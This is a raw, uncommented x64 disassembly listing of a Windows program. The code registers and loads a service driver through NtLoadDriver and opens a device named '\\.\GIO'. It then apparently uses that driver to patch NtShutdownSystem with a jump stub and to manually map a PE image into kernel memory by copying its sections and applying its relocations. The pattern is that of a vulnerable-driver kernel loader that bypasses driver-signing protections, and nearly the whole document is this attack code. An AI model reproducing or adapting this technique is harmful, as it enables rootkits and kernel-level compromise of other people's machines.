mov byte [rbp - 0x65], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x65]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2c8
mov byte [rbp - 0x66], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x66]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2c8
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x14006a3b8
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006a2c8
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x14006a42d
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a428
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a428
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14006a476
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a471
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a471
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqu xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x14006a4c9
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a4c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a4c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqu xmmword [rbp + 0xa8], xmm6
mov byte [rbp + 0x98], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14006a51d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a518
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a518
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
movdqa xmm0, xmmword [0x1402e7cc0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], r15w
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x14006a575
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a570
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a570
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
test bl, bl
je 0x14006a580
xor bl, bl
jmp 0x14006a646
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
mov r8d, gethostname
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x78]
call fcn.140031cc0
nop
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.14006e060
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rdx, qword [rbp + 0x78]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0xe8]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
sete bl
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x14006a646
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a641
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a641
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xc0]
call fcn.1400313a0
mov byte [rbp + 0xe0], bl
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x150], rax
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x14c], edx
lea rcx, [rbp + 0x158]
call fcn.14006d4d0
lea rcx, [rbp + 0x160]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x14006a6f3
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a6ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a6ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14006a742
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a73c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a73c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
nop
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14006a77d
mov rdx, qword [rbp]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a777
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006b0ca
call fcn.1400d3974
nop
test bl, bl
jne 0x14006a990
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], bl
mov qword [rbp + 0x98], r15
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0xa0]
call fcn.1400313a0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14006a7f0
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a7ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a7ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14006a832
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a82c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006aa23
call fcn.1400d3974
nop
cmp qword [rbp + 0x98], 0
je 0x14006b042
cmp qword [rbp + 0xb0], 0
je 0x14006b042
lea rcx, [rbp - 0x68]
call fcn.140072b00
mov rbx, r14
mov r15d, dword [rbp + 0x50]
add r14, r15
mov eax, 4
cmp rbx, r14
jae 0x14006ab8e
mov esi, eax
mov rax, qword gs:[0x58]
add rsi, qword [rax]
nop dword [rax]
mov eax, dword [rsi]
cmp dword [0x1402fb810], eax
jle 0x14006a8cf
lea rcx, [0x1402fb810]
call fcn.1400d3a50
cmp dword [0x1402fb810], 0xffffffff
jne 0x14006a8cf
lea rcx, [0x1402e6618]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402fb8c8], rax
lea rcx, [0x1402fb810]
call fcn.1400d39e4
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14006acea
cmp dword [0x1402fa1bc], 0x7fffffff
je 0x14006acd4
mov dword [rbp - 0x30], 0x25ff
mov word [rbp - 0x2c], ax
mov qword [rbp - 0x2a], r12
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xe8]
call fcn.1400680b0
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x30]
call fcn.140068250
mov rax, qword [0x1402fb8c8]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0xe8]
call fcn.140068250
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x68]
call fcn.140073350
test al, al
jne 0x14006aa2a
xor eax, eax
mov qword [rbp + 0x50], rax
jmp 0x14006aa2e
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1402fb818], rax
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.1400313a0
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14006a832
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006a82c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006a82c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, qword [rbp + 0x50]
test al, al
jns 0x14006aa50
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x50], rax
lea r8, [rbp + 0x50]
jmp 0x14006ab6c
mov eax, dword [rsi]
cmp dword [0x1402fb810], eax
jle 0x14006aa9f
lea rcx, [0x1402fb810]
call fcn.1400d3a50
cmp dword [0x1402fb810], 0xffffffff
jne 0x14006aa9f
lea rcx, [0x1402e6618]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402fb8c8], rax
lea rcx, [0x1402fb810]
call fcn.1400d39e4
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14006acc8
cmp dword [0x1402fa1bc], 0x7fffffff
je 0x14006acb2
mov dword [rbp - 0x20], 0x25ff
mov word [rbp - 0x1c], ax
mov qword [rbp - 0x1a], r13
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.1400680b0
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x20]
call fcn.140068250
mov rax, qword [0x1402fb8c8]
mov rcx, rbx
call rax
mov rdi, rax
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.140068250
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rdi
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x68]
call fcn.140073350
test al, al
jne 0x14006ab4f
xor eax, eax
jmp 0x14006ab53
mov rax, qword [rbp - 0x60]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp - 0x60], rax
lea r8, [rbp - 0x60]
mov r9d, 8
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140073ad0
add rbx, 0x1000
cmp rbx, r14
jb 0x14006a880
mov r9d, 4
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov r13, qword [rbp - 0x78]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [0x1402fb3d8]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [r13 + 0x14]
add rbx, 0x28
xor r12d, r12d
mov edi, r12d
cmp r12w, word [r13 + 6]
jae 0x14006ac07
add rbx, r13
nop dword [rax + rax]
mov ecx, dword [rbx - 4]
add rcx, rsi
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [0x1402fb3d8]
call sub.VCRUNTIME140.dll_memcpy
inc edi
lea rbx, [rbx + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x14006abe0
mov r14, qword [rsp + 0x40]
mov rdi, r14
sub rdi, qword [r13 + 0x30]
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14006ad24
movsxd rax, dword [rsi + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
jne 0x14006ad24
test rax, rax
je 0x14006ad24
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r11, r12
mov qword [rbp - 0x40], r12
mov ebx, dword [rax + 0xb0]
add rbx, rsi
mov eax, dword [rbx]
mov r10, qword [rbp - 0x48]
test eax, eax
je 0x14006ad1e
nop dword [rax]
nop word [rax + rax]
add rax, rsi
mov qword [rbp - 0x10], rax
lea rax, [rbx + 8]
mov qword [rbp - 8], rax
mov eax, dword [rbx + 4]
sub rax, 8
shr rax, 1
mov dword [rbp], eax
cmp r10, r11
je 0x14006acf6
movups xmm0, xmmword [rbp - 0x10]
movups xmmword [r10], xmm0
movsd xmm1, qword [rbp]
movsd qword [r10 + 0x10], xmm1
mov r10, qword [rbp - 0x48]
add r10, 0x18
mov qword [rbp - 0x48], r10
jmp 0x14006ad0a
mov dword [0x1402fa1bc], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [0x1402fa1bc], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
lea r8, [rbp - 0x10]
mov rdx, r10
lea rcx, [rbp - 0x50]
call fcn.1400723b0
mov r10, qword [rbp - 0x48]
mov eax, dword [rbx + 4]
add rbx, rax
mov eax, dword [rbx]
mov r11, qword [rbp - 0x40]
test eax, eax
jne 0x14006ac70
mov rbx, qword [rbp - 0x50]
jmp 0x14006ad3c
xorps xmm1, xmm1
mov r11, r12
xorps xmm0, xmm0
psrldq xmm0, 8
movq r10, xmm0
movq rbx, xmm1
cmp rbx, r10
je 0x14006ad9f
lea r9, [rbx + 0x10]
mov r8d, r12d
cmp dword [r9], 0
jbe 0x14006ad92
mov r12d, 0xfff
nop dword [rax]
nop dword [rax + rax]
mov ecx, r8d
mov rax, qword [r9 - 8]
movzx edx, word [rax + rcx*2]
movzx eax, dx
shr ax, 0xc
and dx, r12w
cmp ax, 0xa
jne 0x14006ad87
movzx ecx, dx
mov rax, qword [r9 - 0x10]
add qword [rax + rcx], rdi
inc r8d
cmp r8d, dword [r9]
jb 0x14006ad60
xor r12d, r12d
add r9, 0x18
lea rax, [r9 - 0x10]
cmp rax, r10
jne 0x14006ad45
test rbx, rbx
je 0x14006adfa
sub r11, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul r11
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rbx
cmp rdx, 0x1000
jb 0x14006adf2
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006adf2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400d3974
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.140071770
mov rcx, rax
call fcn.140071490
test al, al
jne 0x14006ae88
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.1400313a0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14006ae47
mov rcx, rbx
call fcn.140067c00
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14006b033
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14006b02e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14006b02b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, rsi
call fcn.1400d4a2a
mov r9, r15
mov r8, rsi
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.140073ad0
mov ebx, dword [r13 + 0x28]
add rbx, r14
mov edi, dword [r13 + 0x50]
mov r9d, 4
mov rax, qword gs:[0x58]
mov r8, qword [rax]
mov eax, dword [r9 + r8]
cmp dword [0x1402fcd68], eax
jle 0x14006af16
lea rcx, [0x1402fcd68]
call fcn.1400d3a50
cmp dword [0x1402fcd68], 0xffffffff
jne 0x14006af16
lea rcx, [0x1402e6618]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402fcd88], rax
lea rcx, [0x1402fcd68]
call fcn.1400d39e4
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x14006af33
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
cmp dword [0x1402fa15c], 0x7fffffff
jne 0x14006af55
mov dword [0x1402fa15c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov dword [rbp - 0x20], 0x25ff
mov word [rbp - 0x1c], 0
mov qword [rbp - 0x1a], rbx
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.1400680b0
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x20]
call fcn.140068250
mov rdx, rdi
mov rcx, r14
call qword [0x1402fcd88]
mov rcx, qword [0x1402fb820]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp - 0x50]
call fcn.140068250
lea rcx, reloc.WS2_32.dll_bind
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
call fcn.1400313a0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14006aff6
mov rcx, rbx
call fcn.140067c00
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14006b033
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14006b02e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x14006b02b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400d3974
mov byte [rbx], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r12
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14006b087
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006b081
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006b081
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d3974
nop
lea rcx, [rbp + 0x100]
call fcn.1400679f0
mov al, 1
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.1400d3670
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x50]
lea rcx, str.absolute
call fcn.1400661e0
nop
lea r8, [rbp + 0x58]
lea rdx, [rbp - 0x50]
lea rcx, str.absolute
call fcn.1400661e0
int3